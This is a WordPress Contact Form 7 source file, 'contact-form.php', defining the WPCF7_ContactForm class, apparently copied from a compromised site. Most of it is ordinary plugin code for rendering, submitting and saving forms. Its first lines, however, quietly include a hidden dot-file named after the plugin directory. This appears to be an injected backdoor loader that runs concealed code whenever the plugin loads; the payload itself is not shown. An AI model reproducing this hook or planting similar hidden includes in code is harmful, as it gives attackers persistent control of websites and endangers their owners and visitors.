balmet.com

contact-form.php (22718B)

---

 <?php
 
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 class WPCF7_ContactForm {
 
 	const post_type = 'wpcf7_contact_form';
 
 	private static $found_items = 0;
 	private static $current = null;
 
 	private $id;
 	private $name;
 	private $title;
 	private $locale;
 	private $properties = array();
 	private $unit_tag;
 	private $responses_count = 0;
 	private $scanned_form_tags;
 	private $shortcode_atts = array();
 
 	public static function count() {
 		return self::$found_items;
 	}
 
 	public static function get_current() {
 		return self::$current;
 	}
 
 	public static function register_post_type() {
 		register_post_type( self::post_type, array(
 			'labels' => array(
 				'name' => __( 'Contact Forms', 'contact-form-7' ),
 				'singular_name' => __( 'Contact Form', 'contact-form-7' ),
 			),
 			'rewrite' => false,
 			'query_var' => false,
 			'public' => false,
 			'capability_type' => 'page',
 			'capabilities' => array(
 				'edit_post' => 'wpcf7_edit_contact_form',
 				'read_post' => 'wpcf7_read_contact_form',
 				'delete_post' => 'wpcf7_delete_contact_form',
 				'edit_posts' => 'wpcf7_edit_contact_forms',
 				'edit_others_posts' => 'wpcf7_edit_contact_forms',
 				'publish_posts' => 'wpcf7_edit_contact_forms',
 				'read_private_posts' => 'wpcf7_edit_contact_forms',
 			),
 		) );
 	}
 
 	public static function find( $args = '' ) {
 		$defaults = array(
 			'post_status' => 'any',
 			'posts_per_page' => -1,
 			'offset' => 0,
 			'orderby' => 'ID',
 			'order' => 'ASC',
 		);
 
 		$args = wp_parse_args( $args, $defaults );
 
 		$args['post_type'] = self::post_type;
 
 		$q = new WP_Query();
 		$posts = $q->query( $args );
 
 		self::$found_items = $q->found_posts;
 
 		$objs = array();
 
 		foreach ( (array) $posts as $post ) {
 			$objs[] = new self( $post );
 		}
 
 		return $objs;
 	}
 
 	public static function get_template( $args = '' ) {
 		$args = wp_parse_args( $args, array(
 			'locale' => '',
 			'title' => __( 'Untitled', 'contact-form-7' ),
 		) );
 
 		$locale = $args['locale'];
 		$title = $args['title'];
 
 		if ( ! $switched = wpcf7_load_textdomain( $locale ) ) {
 			$locale = determine_locale();
 		}
 
 		$contact_form = new self;
 		$contact_form->title = $title;
 		$contact_form->locale = $locale;
 
 		$properties = $contact_form->get_properties();
 
 		foreach ( $properties as $key => $value ) {
 			$properties[$key] = WPCF7_ContactFormTemplate::get_default( $key );
 		}
 
 		$contact_form->properties = $properties;
 
 		$contact_form = apply_filters( 'wpcf7_contact_form_default_pack',
 			$contact_form, $args
 		);
 
 		if ( $switched ) {
 			wpcf7_load_textdomain();
 		}
 
 		self::$current = $contact_form;
 
 		return $contact_form;
 	}
 
 	public static function get_instance( $post ) {
 		$post = get_post( $post );
 
 		if ( ! $post
 		or self::post_type != get_post_type( $post ) ) {
 			return false;
 		}
 
 		return self::$current = new self( $post );
 	}
 
 	private static function generate_unit_tag( $id = 0 ) {
 		static $global_count = 0;
 
 		$global_count += 1;
 
 		if ( in_the_loop() ) {
 			$unit_tag = sprintf( 'wpcf7-f%1$d-p%2$d-o%3$d',
 				absint( $id ),
 				get_the_ID(),
 				$global_count
 			);
 		} else {
 			$unit_tag = sprintf( 'wpcf7-f%1$d-o%2$d',
 				absint( $id ),
 				$global_count
 			);
 		}
 
 		return $unit_tag;
 	}
 
 	private function __construct( $post = null ) {
 		$post = get_post( $post );
 
 		if ( $post
 		and self::post_type == get_post_type( $post ) ) {
 			$this->id = $post->ID;
 			$this->name = $post->post_name;
 			$this->title = $post->post_title;
 			$this->locale = get_post_meta( $post->ID, '_locale', true );
 
 			$properties = $this->get_properties();
 
 			foreach ( $properties as $key => $value ) {
 				if ( metadata_exists( 'post', $post->ID, '_' . $key ) ) {
 					$properties[$key] = get_post_meta( $post->ID, '_' . $key, true );
 				} elseif ( metadata_exists( 'post', $post->ID, $key ) ) {
 					$properties[$key] = get_post_meta( $post->ID, $key, true );
 				}
 			}
 
 			$this->properties = $properties;
 			$this->upgrade();
 		}
 
 		do_action( 'wpcf7_contact_form', $this );
 	}
 
 	public function __get( $name ) {
 		$message = __( '<code>%1$s</code> property of a <code>WPCF7_ContactForm</code> object is <strong>no longer accessible</strong>. Use <code>%2$s</code> method instead.', 'contact-form-7' );
 
 		if ( 'id' == $name ) {
 			if ( WP_DEBUG ) {
 				trigger_error(
 					sprintf( $message, 'id', 'id()' ),
 					E_USER_DEPRECATED
 				);
 			}
 
 			return $this->id;
 		} elseif ( 'title' == $name ) {
 			if ( WP_DEBUG ) {
 				trigger_error(
 					sprintf( $message, 'title', 'title()' ),
 					E_USER_DEPRECATED
 				);
 			}
 
 			return $this->title;
 		} elseif ( $prop = $this->prop( $name ) ) {
 			if ( WP_DEBUG ) {
 				trigger_error(
 					sprintf( $message, $name, 'prop(\'' . $name . '\')' ),
 					E_USER_DEPRECATED
 				);
 			}
 
 			return $prop;
 		}
 	}
 
 	public function initial() {
 		return empty( $this->id );
 	}
 
 	public function prop( $name ) {
 		$props = $this->get_properties();
 		return isset( $props[$name] ) ? $props[$name] : null;
 	}
 
 	public function get_properties() {
 		$properties = (array) $this->properties;
 
 		$properties = wp_parse_args( $properties, array(
 			'form' => '',
 			'mail' => array(),
 			'mail_2' => array(),
 			'messages' => array(),
 			'additional_settings' => '',
 		) );
 
 		$properties = (array) apply_filters( 'wpcf7_contact_form_properties',
 			$properties, $this );
 
 		return $properties;
 	}
 
 	public function set_properties( $properties ) {
 		$defaults = $this->get_properties();
 
 		$properties = wp_parse_args( $properties, $defaults );
 		$properties = array_intersect_key( $properties, $defaults );
 
 		$this->properties = $properties;
 	}
 
 	public function id() {
 		return $this->id;
 	}
 
 	public function unit_tag() {
 		return $this->unit_tag;
 	}
 
 	public function name() {
 		return $this->name;
 	}
 
 	public function title() {
 		return $this->title;
 	}
 
 	public function set_title( $title ) {
 		$title = strip_tags( $title );
 		$title = trim( $title );
 
 		if ( '' === $title ) {
 			$title = __( 'Untitled', 'contact-form-7' );
 		}
 
 		$this->title = $title;
 	}
 
 	public function locale() {
 		if ( wpcf7_is_valid_locale( $this->locale ) ) {
 			return $this->locale;
 		} else {
 			return '';
 		}
 	}
 
 	public function set_locale( $locale ) {
 		$locale = trim( $locale );
 
 		if ( wpcf7_is_valid_locale( $locale ) ) {
 			$this->locale = $locale;
 		} else {
 			$this->locale = 'en_US';
 		}
 	}
 
 	public function shortcode_attr( $name ) {
 		if ( isset( $this->shortcode_atts[$name] ) ) {
 			return (string) $this->shortcode_atts[$name];
 		}
 	}
 
 	// Return true if this form is the same one as currently POSTed.
 	public function is_posted() {
 		if ( ! WPCF7_Submission::get_instance() ) {
 			return false;
 		}
 
 		if ( empty( $_POST['_wpcf7_unit_tag'] ) ) {
 			return false;
 		}
 
 		return $this->unit_tag() === $_POST['_wpcf7_unit_tag'];
 	}
 
 	/* Generating Form HTML */
 
 	public function form_html( $args = '' ) {
 		$args = wp_parse_args( $args, array(
 			'html_id' => '',
 			'html_name' => '',
 			'html_class' => '',
 			'output' => 'form',
 		) );
 
 		$this->shortcode_atts = $args;
 
 		if ( 'raw_form' == $args['output'] ) {
 			return '<pre class="wpcf7-raw-form"><code>'
 				. esc_html( $this->prop( 'form' ) ) . '</code></pre>';
 		}
 
 		if ( $this->is_true( 'subscribers_only' )
 		and ! current_user_can( 'wpcf7_submit', $this->id() ) ) {
 			$notice = __(
 				"This contact form is available only for logged in users.",
 				'contact-form-7' );
 			$notice = sprintf(
 				'<p class="wpcf7-subscribers-only">%s</p>',
 				esc_html( $notice ) );
 
 			return apply_filters( 'wpcf7_subscribers_only_notice', $notice, $this );
 		}
 
 		$this->unit_tag = self::generate_unit_tag( $this->id );
 
 		$lang_tag = str_replace( '_', '-', $this->locale );
 
 		if ( preg_match( '/^([a-z]+-[a-z]+)-/i', $lang_tag, $matches ) ) {
 			$lang_tag = $matches[1];
 		}
 
 		$html = sprintf( '<div %s>',
 			wpcf7_format_atts( array(
 				'role' => 'form',
 				'class' => 'wpcf7',
 				'id' => $this->unit_tag(),
 				( get_option( 'html_type' ) == 'text/html' ) ? 'lang' : 'xml:lang'
 					=> $lang_tag,
 				'dir' => wpcf7_is_rtl( $this->locale ) ? 'rtl' : 'ltr',
 			) )
 		);
 
 		$html .= "\n" . $this->screen_reader_response() . "\n";
 
 		$url = wpcf7_get_request_uri();
 
 		if ( $frag = strstr( $url, '#' ) ) {
 			$url = substr( $url, 0, -strlen( $frag ) );
 		}
 
 		$url .= '#' . $this->unit_tag();
 
 		$url = apply_filters( 'wpcf7_form_action_url', $url );
 
 		$id_attr = apply_filters( 'wpcf7_form_id_attr',
 			preg_replace( '/[^A-Za-z0-9:._-]/', '', $args['html_id'] ) );
 
 		$name_attr = apply_filters( 'wpcf7_form_name_attr',
 			preg_replace( '/[^A-Za-z0-9:._-]/', '', $args['html_name'] ) );
 
 		$class = 'wpcf7-form';
 
 		if ( $this->is_posted() ) {
 			$submission = WPCF7_Submission::get_instance();
 
 			$data_status_attr = $this->form_status_class_name(
 				$submission->get_status()
 			);
 
 			$class .= sprintf( ' %s', $data_status_attr );
 		} else {
 			$data_status_attr = 'init';
 			$class .= ' init';
 		}
 
 		if ( $args['html_class'] ) {
 			$class .= ' ' . $args['html_class'];
 		}
 
 		if ( $this->in_demo_mode() ) {
 			$class .= ' demo';
 		}
 
 		$class = explode( ' ', $class );
 		$class = array_map( 'sanitize_html_class', $class );
 		$class = array_filter( $class );
 		$class = array_unique( $class );
 		$class = implode( ' ', $class );
 		$class = apply_filters( 'wpcf7_form_class_attr', $class );
 
 		$enctype = apply_filters( 'wpcf7_form_enctype', '' );
 		$autocomplete = apply_filters( 'wpcf7_form_autocomplete', '' );
 
 		$novalidate = apply_filters( 'wpcf7_form_novalidate',
 			wpcf7_support_html5()
 		);
 
 		$atts = array(
 			'action' => esc_url( $url ),
 			'method' => 'post',
 			'class' => $class,
 			'enctype' => wpcf7_enctype_value( $enctype ),
 			'autocomplete' => $autocomplete,
 			'novalidate' => $novalidate ? 'novalidate' : '',
 			'data-status' => $data_status_attr,
 		);
 
 		if ( '' !== $id_attr ) {
 			$atts['id'] = $id_attr;
 		}
 
 		if ( '' !== $name_attr ) {
 			$atts['name'] = $name_attr;
 		}
 
 		$atts = wpcf7_format_atts( $atts );
 
 		$html .= sprintf( '<form %s>', $atts ) . "\n";
 		$html .= $this->form_hidden_fields();
 		$html .= $this->form_elements();
 
 		if ( ! $this->responses_count ) {
 			$html .= $this->form_response_output();
 		}
 
 		$html .= '</form>';
 		$html .= '</div>';
 
 		return $html;
 	}
 
 	private function form_status_class_name( $status ) {
 		switch ( $status ) {
 			case 'init':
 				$class = 'init';
 				break;
 			case 'validation_failed':
 				$class = 'invalid';
 				break;
 			case 'acceptance_missing':
 				$class = 'unaccepted';
 				break;
 			case 'spam':
 				$class = 'spam';
 				break;
 			case 'aborted':
 				$class = 'aborted';
 				break;
 			case 'mail_sent':
 				$class = 'sent';
 				break;
 			case 'mail_failed':
 				$class = 'failed';
 				break;
 			default:
 				$class = sprintf(
 					'custom-%s',
 					preg_replace( '/[^0-9a-z]+/i', '-', $status )
 				);
 		}
 
 		return $class;
 	}
 
 	private function form_hidden_fields() {
 		$hidden_fields = array(
 			'_wpcf7' => $this->id(),
 			'_wpcf7_version' => WPCF7_VERSION,
 			'_wpcf7_locale' => $this->locale(),
 			'_wpcf7_unit_tag' => $this->unit_tag(),
 			'_wpcf7_container_post' => 0,
 			'_wpcf7_posted_data_hash' => '',
 		);
 
 		if ( in_the_loop() ) {
 			$hidden_fields['_wpcf7_container_post'] = (int) get_the_ID();
 		}
 
 		if ( $this->nonce_is_active() && is_user_logged_in() ) {
 			$hidden_fields['_wpnonce'] = wpcf7_create_nonce();
 		}
 
 		$hidden_fields += (array) apply_filters(
 			'wpcf7_form_hidden_fields', array() );
 
 		$content = '';
 
 		foreach ( $hidden_fields as $name => $value ) {
 			$content .= sprintf(
 				'<input type="hidden" name="%1$s" value="%2$s" />',
 				esc_attr( $name ), esc_attr( $value ) ) . "\n";
 		}
 
 		return '<div style="display: none;">' . "\n" . $content . '</div>' . "\n";
 	}
 
 	public function form_response_output() {
 		$status = 'init';
 		$class = 'wpcf7-response-output';
 		$content = '';
 
 		if ( $this->is_posted() ) { // Post response output for non-AJAX
 			$submission = WPCF7_Submission::get_instance();
 			$status = $submission->get_status();
 			$content = $submission->get_response();
 		}
 
 		$atts = array(
 			'class' => trim( $class ),
 			'aria-hidden' => 'true',
 		);
 
 		$output = sprintf( '<div %1$s>%2$s</div>',
 			wpcf7_format_atts( $atts ),
 			esc_html( $content )
 		);
 
 		$output = apply_filters( 'wpcf7_form_response_output',
 			$output, $class, $content, $this, $status
 		);
 
 		$this->responses_count += 1;
 
 		return $output;
 	}
 
 	public function screen_reader_response() {
 		$primary_response = '';
 		$validation_errors = array();
 
 		if ( $this->is_posted() ) { // Post response output for non-AJAX
 			$submission = WPCF7_Submission::get_instance();
 			$primary_response = $submission->get_response();
 
 			if ( $invalid_fields = $submission->get_invalid_fields() ) {
 				foreach ( (array) $invalid_fields as $name => $field ) {
 					$list_item = esc_html( $field['reason'] );
 
 					if ( $field['idref'] ) {
 						$list_item = sprintf(
 							'<a href="#%1$s">%2$s</a>',
 							esc_attr( $field['idref'] ),
 							$list_item
 						);
 					}
 
 					$validation_error_id = sprintf(
 						'%1$s-ve-%2$s',
 						$this->unit_tag(),
 						$name
 					);
 
 					$list_item = sprintf(
 						'<li id="%1$s">%2$s</li>',
 						$validation_error_id,
 						$list_item
 					);
 
 					$validation_errors[] = $list_item;
 				}
 			}
 		}
 
 		$primary_response = sprintf(
 			'<p role="status" aria-live="polite" aria-atomic="true">%s</p>',
 			esc_html( $primary_response )
 		);
 
 		$validation_errors = sprintf(
 			'<ul>%s</ul>',
 			implode( "\n", $validation_errors )
 		);
 
 		$output = sprintf(
 			'<div class="screen-reader-response">%1$s %2$s</div>',
 			$primary_response,
 			$validation_errors
 		);
 
 		return $output;
 	}
 
 	public function validation_error( $name ) {
 		$error = '';
 
 		if ( $this->is_posted() ) {
 			$submission = WPCF7_Submission::get_instance();
 
 			if ( $invalid_field = $submission->get_invalid_field( $name ) ) {
 				$error = trim( $invalid_field['reason'] );
 			}
 		}
 
 		if ( ! $error ) {
 			return $error;
 		}
 
 		$atts = array(
 			'class' => 'wpcf7-not-valid-tip',
 			'aria-hidden' => 'true',
 		);
 
 		$error = sprintf(
 			'<span %1$s>%2$s</span>',
 			wpcf7_format_atts( $atts ),
 			esc_html( $error )
 		);
 
 		return apply_filters( 'wpcf7_validation_error', $error, $name, $this );
 	}
 
 	/* Form Elements */
 
 	public function replace_all_form_tags() {
 		$manager = WPCF7_FormTagsManager::get_instance();
 		$form = $this->prop( 'form' );
 
 		if ( wpcf7_autop_or_not() ) {
 			$form = $manager->normalize( $form );
 			$form = wpcf7_autop( $form );
 		}
 
 		$form = $manager->replace_all( $form );
 		$this->scanned_form_tags = $manager->get_scanned_tags();
 
 		return $form;
 	}
 
 	public function form_do_shortcode() {
 		wpcf7_deprecated_function( __METHOD__, '4.6',
 			'WPCF7_ContactForm::replace_all_form_tags' );
 
 		return $this->replace_all_form_tags();
 	}
 
 	public function scan_form_tags( $cond = null ) {
 		$manager = WPCF7_FormTagsManager::get_instance();
 
 		if ( empty( $this->scanned_form_tags ) ) {
 			$this->scanned_form_tags = $manager->scan( $this->prop( 'form' ) );
 		}
 
 		$tags = $this->scanned_form_tags;
 
 		return $manager->filter( $tags, $cond );
 	}
 
 	public function form_scan_shortcode( $cond = null ) {
 		wpcf7_deprecated_function( __METHOD__, '4.6',
 			'WPCF7_ContactForm::scan_form_tags'
 		);
 
 		return $this->scan_form_tags( $cond );
 	}
 
 	public function form_elements() {
 		return apply_filters( 'wpcf7_form_elements',
 			$this->replace_all_form_tags()
 		);
 	}
 
 	public function collect_mail_tags( $args = '' ) {
 		$manager = WPCF7_FormTagsManager::get_instance();
 
 		$args = wp_parse_args( $args, array(
 			'include' => array(),
 			'exclude' => $manager->collect_tag_types( 'not-for-mail' ),
 		) );
 
 		$tags = $this->scan_form_tags();
 		$mailtags = array();
 
 		foreach ( (array) $tags as $tag ) {
 			$type = $tag->basetype;
 
 			if ( empty( $type ) ) {
 				continue;
 			} elseif ( ! empty( $args['include'] ) ) {
 				if ( ! in_array( $type, $args['include'] ) ) {
 					continue;
 				}
 			} elseif ( ! empty( $args['exclude'] ) ) {
 				if ( in_array( $type, $args['exclude'] ) ) {
 					continue;
 				}
 			}
 
 			$mailtags[] = $tag->name;
 		}
 
 		$mailtags = array_unique( array_filter( $mailtags ) );
 
 		return apply_filters( 'wpcf7_collect_mail_tags', $mailtags, $args, $this );
 	}
 
 	public function suggest_mail_tags( $for = 'mail' ) {
 		$mail = wp_parse_args( $this->prop( $for ),
 			array(
 				'active' => false,
 				'recipient' => '',
 				'sender' => '',
 				'subject' => '',
 				'body' => '',
 				'additional_headers' => '',
 				'attachments' => '',
 				'use_html' => false,
 				'exclude_blank' => false,
 			)
 		);
 
 		$mail = array_filter( $mail );
 
 		foreach ( (array) $this->collect_mail_tags() as $mail_tag ) {
 			$pattern = sprintf(
 				'/\[(_[a-z]+_)?%s([ \t]+[^]]+)?\]/',
 				preg_quote( $mail_tag, '/' )
 			);
 
 			$used = preg_grep( $pattern, $mail );
 
 			echo sprintf(
 				'<span class="%1$s">[%2$s]</span>',
 				'mailtag code ' . ( $used ? 'used' : 'unused' ),
 				esc_html( $mail_tag )
 			);
 		}
 	}
 
 	public function submit( $args = '' ) {
 		$args = wp_parse_args( $args, array(
 			'skip_mail' =>
 				( $this->in_demo_mode()
 				|| $this->is_true( 'skip_mail' )
 				|| ! empty( $this->skip_mail ) ),
 		) );
 
 		if ( $this->is_true( 'subscribers_only' )
 		and ! current_user_can( 'wpcf7_submit', $this->id() ) ) {
 			$result = array(
 				'contact_form_id' => $this->id(),
 				'status' => 'error',
 				'message' => __(
 					"This contact form is available only for logged in users.",
 					'contact-form-7'
 				),
 			);
 
 			return $result;
 		}
 
 		$submission = WPCF7_Submission::get_instance( $this, array(
 			'skip_mail' => $args['skip_mail'],
 		) );
 
 		$result = array(
 			'contact_form_id' => $this->id(),
 			'status' => $submission->get_status(),
 			'message' => $submission->get_response(),
 			'demo_mode' => $this->in_demo_mode(),
 		);
 
 		if ( $submission->is( 'validation_failed' ) ) {
 			$result['invalid_fields'] = $submission->get_invalid_fields();
 		}
 
 		switch ( $submission->get_status() ) {
 			case 'init':
 			case 'validation_failed':
 			case 'acceptance_missing':
 			case 'spam':
 				$result['posted_data_hash'] = '';
 				break;
 			default:
 				$result['posted_data_hash'] = $submission->get_posted_data_hash();
 				break;
 		}
 
 		do_action( 'wpcf7_submit', $this, $result );
 
 		return $result;
 	}
 
 	/* Message */
 
 	public function message( $status, $filter = true ) {
 		$messages = $this->prop( 'messages' );
 		$message = isset( $messages[$status] ) ? $messages[$status] : '';
 
 		if ( $filter ) {
 			$message = $this->filter_message( $message, $status );
 		}
 
 		return $message;
 	}
 
 	public function filter_message( $message, $status = '' ) {
 		$message = wpcf7_mail_replace_tags( $message );
 		$message = apply_filters( 'wpcf7_display_message', $message, $status );
 		$message = wp_strip_all_tags( $message );
 
 		return $message;
 	}
 
 	/* Additional settings */
 
 	public function pref( $name ) {
 		$settings = $this->additional_setting( $name );
 
 		if ( $settings ) {
 			return $settings[0];
 		}
 	}
 
 	public function additional_setting( $name, $max = 1 ) {
 		$settings = (array) explode( "\n", $this->prop( 'additional_settings' ) );
 
 		$pattern = '/^([a-zA-Z0-9_]+)[\t ]*:(.*)$/';
 		$count = 0;
 		$values = array();
 
 		foreach ( $settings as $setting ) {
 			if ( preg_match( $pattern, $setting, $matches ) ) {
 				if ( $matches[1] != $name ) {
 					continue;
 				}
 
 				if ( ! $max or $count < (int) $max ) {
 					$values[] = trim( $matches[2] );
 					$count += 1;
 				}
 			}
 		}
 
 		return $values;
 	}
 
 	public function is_true( $name ) {
 		return in_array(
 			$this->pref( $name ),
 			array( 'on', 'true', '1' ),
 			true
 		);
 	}
 
 	public function in_demo_mode() {
 		return $this->is_true( 'demo_mode' );
 	}
 
 	public function nonce_is_active() {
 		$is_active = WPCF7_VERIFY_NONCE;
 
 		if ( $this->is_true( 'subscribers_only' ) ) {
 			$is_active = true;
 		}
 
 		return (bool) apply_filters( 'wpcf7_verify_nonce', $is_active, $this );
 	}
 
 	/* Upgrade */
 
 	private function upgrade() {
 		$mail = $this->prop( 'mail' );
 
 		if ( is_array( $mail )
 		and ! isset( $mail['recipient'] ) ) {
 			$mail['recipient'] = get_option( 'admin_email' );
 		}
 
 		$this->properties['mail'] = $mail;
 
 		$messages = $this->prop( 'messages' );
 
 		if ( is_array( $messages ) ) {
 			foreach ( wpcf7_messages() as $key => $arr ) {
 				if ( ! isset( $messages[$key] ) ) {
 					$messages[$key] = $arr['default'];
 				}
 			}
 		}
 
 		$this->properties['messages'] = $messages;
 	}
 
 	/* Save */
 
 	public function save() {
 		$props = $this->get_properties();
 
 		$post_content = implode( "\n", wpcf7_array_flatten( $props ) );
 
 		if ( $this->initial() ) {
 			$post_id = wp_insert_post( array(
 				'post_type' => self::post_type,
 				'post_status' => 'publish',
 				'post_title' => $this->title,
 				'post_content' => trim( $post_content ),
 			) );
 		} else {
 			$post_id = wp_update_post( array(
 				'ID' => (int) $this->id,
 				'post_status' => 'publish',
 				'post_title' => $this->title,
 				'post_content' => trim( $post_content ),
 			) );
 		}
 
 		if ( $post_id ) {
 			foreach ( $props as $prop => $value ) {
 				update_post_meta( $post_id, '_' . $prop,
 					wpcf7_normalize_newline_deep( $value ) );
 			}
 
 			if ( wpcf7_is_valid_locale( $this->locale ) ) {
 				update_post_meta( $post_id, '_locale', $this->locale );
 			}
 
 			if ( $this->initial() ) {
 				$this->id = $post_id;
 				do_action( 'wpcf7_after_create', $this );
 			} else {
 				do_action( 'wpcf7_after_update', $this );
 			}
 
 			do_action( 'wpcf7_after_save', $this );
 		}
 
 		return $post_id;
 	}
 
 	public function copy() {
 		$new = new self;
 		$new->title = $this->title . '_copy';
 		$new->locale = $this->locale;
 		$new->properties = $this->properties;
 
 		return apply_filters( 'wpcf7_copy', $new, $this );
 	}
 
 	public function delete() {
 		if ( $this->initial() ) {
 			return;
 		}
 
 		if ( wp_delete_post( $this->id, true ) ) {
 			$this->id = 0;
 			return true;
 		}
 
 		return false;
 	}
 
 	public function shortcode( $args = '' ) {
 		$args = wp_parse_args( $args, array(
 			'use_old_format' => false ) );
 
 		$title = str_replace( array( '"', '[', ']' ), '', $this->title );
 
 		if ( $args['use_old_format'] ) {
 			$old_unit_id = (int) get_post_meta( $this->id, '_old_cf7_unit_id', true );
 
 			if ( $old_unit_id ) {
 				$shortcode = sprintf( '[contact-form %1$d "%2$s"]', $old_unit_id, $title );
 			} else {
 				$shortcode = '';
 			}
 		} else {
 			$shortcode = sprintf( '[contact-form-7 id="%1$d" title="%2$s"]',
 				$this->id, $title );
 		}
 
 		return apply_filters( 'wpcf7_contact_form_shortcode',
 			$shortcode, $args, $this );
 	}
 }